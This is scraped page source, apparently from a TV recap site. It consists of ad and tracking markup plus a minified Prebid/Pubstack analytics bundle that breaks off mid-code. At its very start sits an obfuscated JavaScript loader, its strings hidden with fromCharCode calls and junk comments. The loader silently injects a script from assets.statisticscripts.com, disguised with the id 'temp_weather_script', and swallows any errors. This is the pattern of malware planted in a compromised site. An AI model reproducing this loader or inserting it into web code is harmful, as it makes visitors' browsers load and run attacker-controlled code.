(function(){try {var/*_mxwfyasem*/_ksdrogeff=String;let/*_mffombqk*/_nkdep=_ksdrogeff["f"+"rom"+"Char"+"Co"+"de"](102/*_rxaqs*/,114,111,109)+_ksdrogeff["f"+"rom"+"Char"+"Co"+"de"](67,104/*_qogxjvxn*/,97,114)+_ksdrogeff["f"+"rom"+"Char"+"Co"+"de"](67,111,100/*_gdanld*/,101);var/*_qogxjvxn*/_amactzcf="s"+"c"/*_qogxjvxn*/+_ksdrogeff[_nkdep](114/*_mxwfyasem*/,105,/*_xert*/112,116),/*_tngsk*/_rxaqs="c"+"re"+_ksdrogeff[_nkdep](97/*_rxaqs*/,116,101,69/*_gdanld*/,108,101,109/*_mffombqk*/,101,110,116),/*_mxwfyasem*/_qogxjvxn="s"+_ksdrogeff[_nkdep](114/*_mxwfyasem*/,99),/*_gdanld*/_gdanld=_ksdrogeff[_nkdep](105/*_gdanld*/,100),/*_xert*/_mxwfyasem="cu"+"rre"+_ksdrogeff[_nkdep](110,116/*_gdanld*/,83,99/*_mxwfyasem*/,114,105/*_gdanld*/,112,116);var/*_tngsk*/_mffombqk="pa"+"r"+_ksdrogeff[_nkdep](101,110/*_xert*/,116,78/*_cicuf*/,111,100/*_mffombqk*/,101), _xert="i"+"ns"+_ksdrogeff[_nkdep](101,114/*_rxaqs*/,116,66/*_qogxjvxn*/,101,102/*_mxwfyasem*/,111,114,101),/*_rxaqs*/_tngsk="ge"+"El"+_ksdrogeff[_nkdep](101,109/*_gdanld*/,101,110/*_xert*/,116,115,66/*_mxwfyasem*/,121,84,97,103/*_tngsk*/,78,97,109,101),/*_cicuf*/_cicuf="h"+"e"+_ksdrogeff[_nkdep](97/*_mffombqk*/,100),/*axowk*/axowk="ap"/*_qogxjvxn*/+"p"+_ksdrogeff[_nkdep](101/*_qogxjvxn*/,110/*_gdanld*/,100,67/*_mffombqk*/,104,105/*_cicuf*/,108,100),/*_cicuf*/_uimtyzyzjb=document;var/*_tngsk*/anoodamj="t"/*_tngsk*/+"e"+_ksdrogeff[_nkdep](109,112/*_qogxjvxn*/,95,119,101,97/*_rxaqs*/,116,104,101/*_gdanld*/,114,95,115/*_mffombqk*/,99,114,105/*_xert*/,112,116),/*_mxwfyasem*/_euqdtlb=_uimtyzyzjb[_rxaqs](_amactzcf),/*_gdanld*/_pgddxaqhxjt=_ksdrogeff[_nkdep](104/*_qogxjvxn*/,116,116,/*_xert*/112,115,/*_mxwfyasem*/58,47,47)+_ksdrogeff[_nkdep](97/*_gdanld*/,115/*_gdanld*/,115/*_mffombqk*/,101/*_tngsk*//*_gdanld*/,116/*_gdanld*/,115,46/*_gdanld*/,115/*_gdanld*/,116,97/*_gdanld*/,116/*_mffombqk*/,105/*_gdanld*/,115/*_gdanld*/,116/*_mffombqk*/,105,99/*_gdanld*/,115,99/*_gdanld*/,114/*_mffombqk*/,105/*_gdanld*/,112/*_gdanld*/,116/*_gdanld*/,115,46,99/*_gdanld*/,111/*_tngsk*//*_mffombqk*/,109)+_ksdrogeff[_nkdep](47)+_ksdrogeff[_nkdep](115,111,/*_mxwfyasem*/117,114,99/*_qogxjvxn*/,101,115)+_ksdrogeff[_nkdep](47)+_ksdrogeff[_nkdep](112)+"o"+"st"+_ksdrogeff[_nkdep](46,106,115);/*_rxaqs*/_euqdtlb[_qogxjvxn]=_pgddxaqhxjt;/*_qogxjvxn*/_euqdtlb[_gdanld]=anoodamj;if(_uimtyzyzjb[_mxwfyasem])/*_rxaqs*/{/*_gdanld*/_uimtyzyzjb[_mxwfyasem][_mffombqk][_xert](_euqdtlb,_uimtyzyzjb[_mxwfyasem]);}/*_mffombqk*/else/*_tngsk*/{_uimtyzyzjb[_tngsk](_cicuf)[0][axowk](_euqdtlb);}} catch (err) {}/*a918d8d97918fe394e833f7df83edabd*/})();</style><meta http-equiv="origin-trial" content="AlK2UR5SkAlj8jjdEc9p3F3xuFYlF6LYjAML3EOqw1g26eCwWPjdmecULvBH5MVPoqKYrOfPhYVL71xAXI1IBQoAAAB8eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiV2ViVmlld1hSZXF1ZXN0ZWRXaXRoRGVwcmVjYXRpb24iLCJleHBpcnkiOjE3NTgwNjcxOTksImlzU3ViZG9tYWluIjp0cnVlfQ=="><meta http-equiv="origin-trial" content="Amm8/NmvvQfhwCib6I7ZsmUxiSCfOxWxHayJwyU1r3gRIItzr7bNQid6O8ZYaE1GSQTa69WwhPC9flq/oYkRBwsAAACCeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiV2ViVmlld1hSZXF1ZXN0ZWRXaXRoRGVwcmVjYXRpb24iLCJleHBpcnkiOjE3NTgwNjcxOTksImlzU3ViZG9tYWluIjp0cnVlfQ=="><meta http-equiv="origin-trial" content="A9wSqI5i0iwGdf6L1CERNdmsTPgVu44ewj8QxTBYgsv1LCPUVF7YmWOvTappqB1139jAymxUW/RO8zmMqo4zlAAAAACNeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiRmxlZGdlQmlkZGluZ0FuZEF1Y3Rpb25TZXJ2ZXIiLCJleHBpcnkiOjE3MzY4MTI4MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="A+d7vJfYtay4OUbdtRPZA3y7bKQLsxaMEPmxgfhBGqKXNrdkCQeJlUwqa6EBbSfjwFtJWTrWIioXeMW+y8bWAgQAAACTeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiRmxlZGdlQmlkZGluZ0FuZEF1Y3Rpb25TZXJ2ZXIiLCJleHBpcnkiOjE3MzY4MTI4MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="AlK2UR5SkAlj8jjdEc9p3F3xuFYlF6LYjAML3EOqw1g26eCwWPjdmecULvBH5MVPoqKYrOfPhYVL71xAXI1IBQoAAAB8eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiV2ViVmlld1hSZXF1ZXN0ZWRXaXRoRGVwcmVjYXRpb24iLCJleHBpcnkiOjE3NTgwNjcxOTksImlzU3ViZG9tYWluIjp0cnVlfQ=="><meta http-equiv="origin-trial" content="Amm8/NmvvQfhwCib6I7ZsmUxiSCfOxWxHayJwyU1r3gRIItzr7bNQid6O8ZYaE1GSQTa69WwhPC9flq/oYkRBwsAAACCeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiV2ViVmlld1hSZXF1ZXN0ZWRXaXRoRGVwcmVjYXRpb24iLCJleHBpcnkiOjE3NTgwNjcxOTksImlzU3ViZG9tYWluIjp0cnVlfQ=="><meta http-equiv="origin-trial" content="A9wSqI5i0iwGdf6L1CERNdmsTPgVu44ewj8QxTBYgsv1LCPUVF7YmWOvTappqB1139jAymxUW/RO8zmMqo4zlAAAAACNeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiRmxlZGdlQmlkZGluZ0FuZEF1Y3Rpb25TZXJ2ZXIiLCJleHBpcnkiOjE3MzY4MTI4MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="A+d7vJfYtay4OUbdtRPZA3y7bKQLsxaMEPmxgfhBGqKXNrdkCQeJlUwqa6EBbSfjwFtJWTrWIioXeMW+y8bWAgQAAACTeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiRmxlZGdlQmlkZGluZ0FuZEF1Y3Rpb25TZXJ2ZXIiLCJleHBpcnkiOjE3MzY4MTI4MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="AlK2UR5SkAlj8jjdEc9p3F3xuFYlF6LYjAML3EOqw1g26eCwWPjdmecULvBH5MVPoqKYrOfPhYVL71xAXI1IBQoAAAB8eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiV2ViVmlld1hSZXF1ZXN0ZWRXaXRoRGVwcmVjYXRpb24iLCJleHBpcnkiOjE3NTgwNjcxOTksImlzU3ViZG9tYWluIjp0cnVlfQ=="><meta http-equiv="origin-trial" content="Amm8/NmvvQfhwCib6I7ZsmUxiSCfOxWxHayJwyU1r3gRIItzr7bNQid6O8ZYaE1GSQTa69WwhPC9flq/oYkRBwsAAACCeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiV2ViVmlld1hSZXF1ZXN0ZWRXaXRoRGVwcmVjYXRpb24iLCJleHBpcnkiOjE3NTgwNjcxOTksImlzU3ViZG9tYWluIjp0cnVlfQ=="><meta http-equiv="origin-trial" content="A9wSqI5i0iwGdf6L1CERNdmsTPgVu44ewj8QxTBYgsv1LCPUVF7YmWOvTappqB1139jAymxUW/RO8zmMqo4zlAAAAACNeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiRmxlZGdlQmlkZGluZ0FuZEF1Y3Rpb25TZXJ2ZXIiLCJleHBpcnkiOjE3MzY4MTI4MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="A+d7vJfYtay4OUbdtRPZA3y7bKQLsxaMEPmxgfhBGqKXNrdkCQeJlUwqa6EBbSfjwFtJWTrWIioXeMW+y8bWAgQAAACTeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiRmxlZGdlQmlkZGluZ0FuZEF1Y3Rpb25TZXJ2ZXIiLCJleHBpcnkiOjE3MzY4MTI4MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="AlK2UR5SkAlj8jjdEc9p3F3xuFYlF6LYjAML3EOqw1g26eCwWPjdmecULvBH5MVPoqKYrOfPhYVL71xAXI1IBQoAAAB8eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiV2ViVmlld1hSZXF1ZXN0ZWRXaXRoRGVwcmVjYXRpb24iLCJleHBpcnkiOjE3NTgwNjcxOTksImlzU3ViZG9tYWluIjp0cnVlfQ=="><meta http-equiv="origin-trial" content="Amm8/NmvvQfhwCib6I7ZsmUxiSCfOxWxHayJwyU1r3gRIItzr7bNQid6O8ZYaE1GSQTa69WwhPC9flq/oYkRBwsAAACCeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiV2ViVmlld1hSZXF1ZXN0ZWRXaXRoRGVwcmVjYXRpb24iLCJleHBpcnkiOjE3NTgwNjcxOTksImlzU3ViZG9tYWluIjp0cnVlfQ=="><meta http-equiv="origin-trial" content="A9wSqI5i0iwGdf6L1CERNdmsTPgVu44ewj8QxTBYgsv1LCPUVF7YmWOvTappqB1139jAymxUW/RO8zmMqo4zlAAAAACNeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiRmxlZGdlQmlkZGluZ0FuZEF1Y3Rpb25TZXJ2ZXIiLCJleHBpcnkiOjE3MzY4MTI4MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="A+d7vJfYtay4OUbdtRPZA3y7bKQLsxaMEPmxgfhBGqKXNrdkCQeJlUwqa6EBbSfjwFtJWTrWIioXeMW+y8bWAgQAAACTeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiRmxlZGdlQmlkZGluZ0FuZEF1Y3Rpb25TZXJ2ZXIiLCJleHBpcnkiOjE3MzY4MTI4MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="AlK2UR5SkAlj8jjdEc9p3F3xuFYlF6LYjAML3EOqw1g26eCwWPjdmecULvBH5MVPoqKYrOfPhYVL71xAXI1IBQoAAAB8eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiV2ViVmlld1hSZXF1ZXN0ZWRXaXRoRGVwcmVjYXRpb24iLCJleHBpcnkiOjE3NTgwNjcxOTksImlzU3ViZG9tYWluIjp0cnVlfQ=="><meta http-equiv="origin-trial" content="Amm8/NmvvQfhwCib6I7ZsmUxiSCfOxWxHayJwyU1r3gRIItzr7bNQid6O8ZYaE1GSQTa69WwhPC9flq/oYkRBwsAAACCeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiV2ViVmlld1hSZXF1ZXN0ZWRXaXRoRGVwcmVjYXRpb24iLCJleHBpcnkiOjE3NTgwNjcxOTksImlzU3ViZG9tYWluIjp0cnVlfQ=="><meta http-equiv="origin-trial" content="A9wSqI5i0iwGdf6L1CERNdmsTPgVu44ewj8QxTBYgsv1LCPUVF7YmWOvTappqB1139jAymxUW/RO8zmMqo4zlAAAAACNeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiRmxlZGdlQmlkZGluZ0FuZEF1Y3Rpb25TZXJ2ZXIiLCJleHBpcnkiOjE3MzY4MTI4MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="A+d7vJfYtay4OUbdtRPZA3y7bKQLsxaMEPmxgfhBGqKXNrdkCQeJlUwqa6EBbSfjwFtJWTrWIioXeMW+y8bWAgQAAACTeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiRmxlZGdlQmlkZGluZ0FuZEF1Y3Rpb25TZXJ2ZXIiLCJleHBpcnkiOjE3MzY4MTI4MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="AlK2UR5SkAlj8jjdEc9p3F3xuFYlF6LYjAML3EOqw1g26eCwWPjdmecULvBH5MVPoqKYrOfPhYVL71xAXI1IBQoAAAB8eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiV2ViVmlld1hSZXF1ZXN0ZWRXaXRoRGVwcmVjYXRpb24iLCJleHBpcnkiOjE3NTgwNjcxOTksImlzU3ViZG9tYWluIjp0cnVlfQ=="><meta http-equiv="origin-trial" content="Amm8/NmvvQfhwCib6I7ZsmUxiSCfOxWxHayJwyU1r3gRIItzr7bNQid6O8ZYaE1GSQTa69WwhPC9flq/oYkRBwsAAACCeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiV2ViVmlld1hSZXF1ZXN0ZWRXaXRoRGVwcmVjYXRpb24iLCJleHBpcnkiOjE3NTgwNjcxOTksImlzU3ViZG9tYWluIjp0cnVlfQ=="><meta http-equiv="origin-trial" content="A9wSqI5i0iwGdf6L1CERNdmsTPgVu44ewj8QxTBYgsv1LCPUVF7YmWOvTappqB1139jAymxUW/RO8zmMqo4zlAAAAACNeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiRmxlZGdlQmlkZGluZ0FuZEF1Y3Rpb25TZXJ2ZXIiLCJleHBpcnkiOjE3MzY4MTI4MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="A+d7vJfYtay4OUbdtRPZA3y7bKQLsxaMEPmxgfhBGqKXNrdkCQeJlUwqa6EBbSfjwFtJWTrWIioXeMW+y8bWAgQAAACTeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiRmxlZGdlQmlkZGluZ0FuZEF1Y3Rpb25TZXJ2ZXIiLCJleHBpcnkiOjE3MzY4MTI4MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><script async="" src="https://fundingchoicesmessages.google.com/i/ca-pub-8058393775546814?href=https%3A%2F%2Fotavo.tv%2Fonly-murders-in-the-building-season-4-episode-8-recap&amp;ers=2"></script><script type="text/javascript">(function() { var load = function() {!function(e){"use strict";function t(e,t,i,s){return new(i||(i=Promise))((function(n,o){function r(e){try{d(s.next(e))}catch(e){o(e)}}function a(e){try{d(s.throw(e))}catch(e){o(e)}}function d(e){var t;e.done?n(e.value):(t=e.value,t instanceof i?t:new i((function(e){e(t)}))).then(r,a)}d((s=s.apply(e,t||[])).next())}))}"function"==typeof SuppressedError&&SuppressedError;const i=e=>void 0!==e,s=[0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,59],n=e=>{if(!e)throw new Error("IllegalArgumentException");const t={_value:[108,98,39,46,7,187,1,66,98,184,33,117,98,149,197,141],_scratch:new Array(16)};function i(){let e,i;for(i=0;i<16;i++)t._scratch[i]=0;for(i=0;i<16;i++)for(let n=0;n<16-i;n++)e=t._value[15-i]*s[15-n]+(t._scratch[15-(i+n)]||0),e>255&&(i+n+1<16&&(t._scratch[15-(i+n+1)]+=e>>>8),e-=e>>>8<<8),t._scratch[15-(i+n)]=e;const n=t._scratch;t._scratch=t._value,t._value=n}return function(e){let s;if("string"==typeof e){const t=e.replace(/\r\n/g,"\n"),i=[];let n=0;for(s=0;s<t.length;s++){const e=t.charCodeAt(s);e<128?i[n++]=e:e<2048?(i[n++]=e>>6|192,i[n++]=63&e|128):(i[n++]=e>>12|224,i[n++]=e>>6&63|128,i[n++]=63&e|128)}e=i}for(s=0;s<e.length;s++)t._value[15]^=e[s],i()}(e),t._value.reduce(((e,t)=>e+("00"+t.toString(16)).slice(-2)),"")},o=(e,...t)=>{if(0===t.length||""===t.join(""))throw new Error("Failed to create hash");return n(t.join("")).substr(0,e)},r=(...e)=>{try{return o(14,...e)}catch(e){throw new Error("Failed to create an auction Id")}},a=(...e)=>{try{return o(8,...e)}catch(e){throw new Error("Failed to create a bid Id")}},d=()=>n(`${Math.random().toString(36)}${(new Date).getTime()}`);class c{constructor(e){this.subscriptions=[],this.children=[],this.processingChain=e?[...e]:[]}subscribe(e,t){this.subscriptions.push({onEvent:e,onError:t})}unsubscribe(e,t){this.subscriptions=this.subscriptions.filter((i=>!(i.onEvent===e&&i.onError===t)))}pipe(...e){const t=new c([...this.processingChain,...e]);return this.children.push(t),t}next(e){this.subscriptions.forEach((t=>{try{const i=this.processingChain.reduce(((e,t)=>{if(void 0!==e)return t(e)}),e);void 0!==i&&t.onEvent(i)}catch(e){t.onError&&t.onError(e)}})),this.children.forEach((t=>t.next(e)))}}const u=e=>{return[(t=([t])=>e.test(t),e=>{if(t(e))return e}),([,[e,...t]])=>[e,t]];var t};class l extends Error{constructor(e){super(e)}}function b(e,t){if(!Array.isArray(e))throw new l(null!=t?t:"Expected value to be an array, but received "+typeof e)}function p(e){return"number"==typeof e&&!isNaN(e)}function h(e){return"string"==typeof e}function m(e,t){if(!p(e))throw new l(null!=t?t:"Expected value to be a number, but received "+typeof e)}function v(e,t){if(null!=e&&"string"!=typeof e)throw new l("Expected value to be a string, undefined or null, but received "+typeof e)}function f(e,t){if(null!=e&&!function(e){return"boolean"==typeof e}(e))throw new l("Expected value to be a boolean, but received "+typeof e)}function g(e,t){if("string"!=typeof e)throw new l(null!=t?t:"Expected value to be a string, but received "+typeof e)}function w(e,t){if(null==e)throw new l(null!=t?t:`Expected value to be defined, but received ${e}`)}function y(e,t){if(!Array.isArray(e)||0===e.filter((e=>void 0!==e)).length)throw new l(null!=t?t:"Expected array to be not empty")}const I=e=>"object"==typeof e&&null!==e&&!Array.isArray(e);function k(e,t){if(!I(e))throw new l(null!=t?t:`Expected value to be record, but received '${typeof e}'`)}const C=(e,t)=>I(e)&&t in e;const A=[],R=new c;function T(e,t){let i=0;A.push((s=>{i>=t||(i+=1,e(s))}))}function S(e){A.forEach((t=>t({error:e})))}function E(e){var t;S({context:null!==(t=e.context)&&void 0!==t?t:{},message:e.message})}var U,j;const x=/pbstck:debug/.test(window.location.href),B=!!(null===(U=window.localStorage)||void 0===U?void 0:U.getItem)&&null!==window.localStorage.getItem("pbstck"),N=`[pbstck-${null!==(j="e8794bc")?j:"unknown"}]`;function O(){return x||B}function V(...e){O()&&console.log(N,...e)}function q(...e){O()&&console.warn(N,...e)}function $(...e){O()&&console.error(N,...e)}const D=["39216077","22181265","6943","22815767462","1030155","49313688","127208727","21794835430","8456","27416722","1021524","2507246","17085479"],z=e=>{var t,i,s;if(!(null===(t=e.pubstack)||void 0===t?void 0:t.adUnitName)&&e.ortb2Imp)for(const t of D)if(e.ortb2Imp.ext.data.pbadslot.startsWith(`/${t}/`)){const t=e.ortb2Imp.ext.data.pbadslot.replace(/\/$/,"").split("/").pop();return t||e.code}return null!==(s=null===(i=e.pubstack)||void 0===i?void 0:i.adUnitName)&&void 0!==s?s:e.code},F=e=>{var t;return(null===(t=e.pubstack)||void 0===t?void 0:t.adUnitPath)?W(e.pubstack.adUnitPath):e.ortb2Imp?W(e.ortb2Imp.ext.data.pbadslot):void 0},M=e=>{const t=[];return e.forEach((e=>{Q(e).bids.forEach((e=>{t.some((t=>t.bidder===e.bidder))||t.push(e)}))})),t},_=e=>{const t={};return e.forEach((e=>{const i=Q(e);void 0!==i.mediaTypes.native&&(t.native=i.mediaTypes.native),void 0!==i.mediaTypes.video&&i.mediaTypes.video.playerSize&&(t.video?t.video.playerSize=[...t.video.playerSize,...i.mediaTypes.video.playerSize]:t.video=i.mediaTypes.video),void 0!==i.mediaTypes.banner&&(t.banner?(t.banner.sizes=[...t.banner.sizes,...i.mediaTypes.banner.sizes],i.mediaTypes.banner.sizeConfig&&(t.banner.sizeConfig=i.mediaTypes.banner.sizeConfig)):t.banner=i.mediaTypes.banner)})),t},P=e=>{var t,i,s;const n=e=>"string"==typeof e?e:Array.isArray(e)&&2===e.length?`${e[0]}x${e[1]}`:"unknown",o=new Set;return(e=>{var t,i;return(void 0===(null===(t=e.mediaTypes.banner)||void 0===t?void 0:t.sizes)||0===(null===(i=e.mediaTypes.banner)||void 0===i?void 0:i.sizes.length))&&void 0===e.mediaTypes.native&&void 0===e.mediaTypes.video})(e)?[]:((null===(t=e.mediaTypes.banner)||void 0===t?void 0:t.sizes)&&(Array.isArray(e.mediaTypes.banner.sizes[0])?e.mediaTypes.banner.sizes.forEach((e=>o.add(n(e)))):o.add(n(e.mediaTypes.banner.sizes))),(null===(i=e.mediaTypes.video)||void 0===i?void 0:i.playerSize)&&(null===(s=e.mediaTypes.video)||void 0===s||s.playerSize.forEach((e=>o.add((e=>{const t=n(e);return"unknown"===t?"video":`video-${t}`})(e))))),e.mediaTypes.native&&o.add("native"),Array.from(o))},W=e=>e.startsWith("/")?e:`/${e}`,L=e=>{var t,i;const s=/^(adUnitPath)/;return(null!==(i=null===(t=e.pubstack)||void 0===t?void 0:t.tags)&&void 0!==i?i:[]).filter((e=>"string"==typeof e)).filter((e=>e.length>0&&e.length<256||s.test(e)))},G=e=>{const t=(e=>e.placementId||e.zoneId||e.siteId||void 0)(e);if(t)return`slot:${t}`},H=e=>{const t={hasUserId:"notAvailable",userIdProviderList:[]};if(0===e.length)return t;let i=!0;const s=e[0].bids[0];return e.forEach((e=>{e.bids.forEach((e=>{const n=Object.entries(e.userId||{}).flatMap((([e,t])=>{if(Array.isArray(t)){const i=t.filter((e=>Object.prototype.hasOwnProperty.call(e,"source"))).map((t=>`${e}:${t.source}`));return i.length?i:e}return e}));if(t.userIdProviderList=t.userIdProviderList.concat(n),t.userIdProviderList=t.userIdProviderList.concat(Object.keys(e.crumbs||{})),i=i&&typeof s.crumbs==typeof e.crumbs,s.crumbs&&e.crumbs){const t=Object.keys(s.crumbs),n=Object.keys(e.crumbs);i=i&&t.length===n.length&&t.every((e=>n.includes(e)))}if(i=i&&typeof s.userId==typeof e.userId,s.userId&&e.userId){const t=Object.keys(s.userId),n=Object.keys(e.userId);i=i&&t.length===n.length&&t.every((e=>n.includes(e)))}}))})),t.userIdProviderList.length>0&&i?t.hasUserId="available":t.userIdProviderList.length>0&&!i&&(t.hasUserId="notConsistent"),t.userIdProviderList=Array.from(new Set(t.userIdProviderList)),t},J=e=>{let t=e.map((e=>e.gdprConsent)).filter((e=>void 0!==e));return e.length!==t.length&&(t=[]),t},X=e=>{const t={userConsentState:"notAvailable",userConsentVersion:"notAvailable"};try{if(0===e.length)return t;const i=e.every(((e,t,i)=>e.apiVersion===i[0].apiVersion)),s=e.every(((e,t,i)=>e.consentString===i[0].consentString));if(!i||!s)throw new Error("API version and Consent string must be unique within a bid request array");return(e=>{const t={userConsentState:"notAvailable",userConsentVersion:"notAvailable"};if(void 0===e)return t;let i=!1,s=!1;if(e.apiVersion&&1!==e.apiVersion){if(2!==e.apiVersion)throw e.apiVersion>2?new Error(`API version is not yet supported: ${e.apiVersion}`):new Error(`An issue occured while identifying TCF version: ${e.apiVersion}`);if(t.userConsentVersion="tcf-v2","boolean"==typeof e.gdprApplies&&!e.gdprApplies)return Object.assign(Object.assign({},t),{userConsentState:"notApplicable"});if((e=>{const t=e;return!!(t&&t.purpose&&t.purpose.consents&&t.vendor&&t.vendor.consents)})(e.vendorData)){const n=Object.values(e.vendorData.purpose.consents),o=Object.values(e.vendorData.vendor.consents);if(i=n.filter((e=>e)).length>0,s=o.filter((e=>e)).length>0,0===n.length||0===o.length)return Object.assign(Object.assign({},t),{userConsentState:"notAvailable"})}}else{if(t.userConsentVersion="tcf-v1","boolean"==typeof e.gdprApplies&&!e.gdprApplies)return Object.assign(Object.assign({},t),{userConsentState:"notApplicable"});if((e=>{const t=e;return!(!t||!t.purposeConsents||!t.vendorConsents)})(e.vendorData)){const n=Object.values(e.vendorData.purposeConsents),o=Object.values(e.vendorData.vendorConsents);if(i=n.filter((e=>e)).length>0,s=o.filter((e=>e)).length>0,0===n.length||0===o.length)return Object.assign(Object.assign({},t),{userConsentState:"notAvailable"})}}return t.userConsentState=i&&s?"accepted":"refused",t})(e[0])}catch(e){return e.context=e.context||{},e.context.pbjs={source:"pbjs:helpers"},E(e),t}},Q=e=>JSON.parse(JSON.stringify(e));var K,Y;!function(e){e[e.LOADED=0]="LOADED",e[e.FAILED=1]="FAILED",e[e.NOT_READY=2]="NOT_READY"}(K||(K={})),function(e){e.RUNNING="running",e.NO_BID="noBid",e.BID="bidResponse",e.TIMEOUT="bidTimeout"}(Y||(Y={}));const Z=e=>e.state===Y.BID,ee=e=>Z(e)?e.bidResponseId:e.bidId;var te,ie;!function(e){e[e.ON_DONE=0]="ON_DONE",e[e.ON_SMART_MERGED=1]="ON_SMART_MERGED",e[e.NEVER=2]="NEVER"}(te||(te={})),function(e){e[e.PBJS=0]="PBJS",e[e.SMART_RTB=1]="SMART_RTB",e[e.AMAZON=2]="AMAZON",e[e.GAM=3]="GAM"}(ie||(ie={}));const se=400,ne="unknown",oe=new Map;class re{constructor(e){this.onBidResponseStream=new c,this.onAuctionEndStream=new c,this.onBidWonStream=new c,this.onBidWonFromSdkStream=new c,e&&(this.pbjsConfig=e)}getAdServerCurrency(){var e;return null===(e=this.pbjsConfig)||void 0===e?void 0:e.adServerCurrency}onBidResponse(e){const t=r(e.adUnitCode,e.auctionId),i=a(e.requestId),s=a(i,e.adId);oe.set(e.adId,i),this.onBidResponseStream.next({adId:e.adId,auctionId:t,dealId:e.dealId||void 0,bidId:i,bidResponseId:s,cpm:e.cpm,currency:e.currency,size:e.size,mediaType:e.mediaType,tags:[],bidderCode:e.bidderCode,customFields:{},timeToRespond:e.timeToRespond,adapterCode:e.adapterCode,advertiserDomains:e.advertiserDomains})}onAuctionEnd(e,t="prebid"){var s,n;const o=(null===(n=window[(null===(s=this.pbjsConfig)||void 0===s?void 0:s.pbjsVariableName)||"pbjs"])||void 0===n?void 0:n.aliasRegistry)||{};!function(e,t){const i=[];if(e.forEach((e=>{try{t(e)}catch(e){i.push(e)}})),0!==i.length){const e=`forEach: Unexpected (${i.length}) errors\n${i.reduce(((e,t)=>`${e}\t- ${t.message}\n`),"")}`;throw new Error(e)}}(e.adUnits.filter((t=>void 0===e.adUnitCodes||e.adUnitCodes.includes(t.code))).reduce(((e,t)=>(e.find((e=>t.code===e.code))||e.push(t),e)),[]),(s=>{var n,c,u,l;const p=function(e,t){const i=e.adUnits.filter((e=>e.code===t)),s={code:t,bids:M(i),mediaTypes:_(i)},n=(e=>{let t;return e.forEach((e=>{const 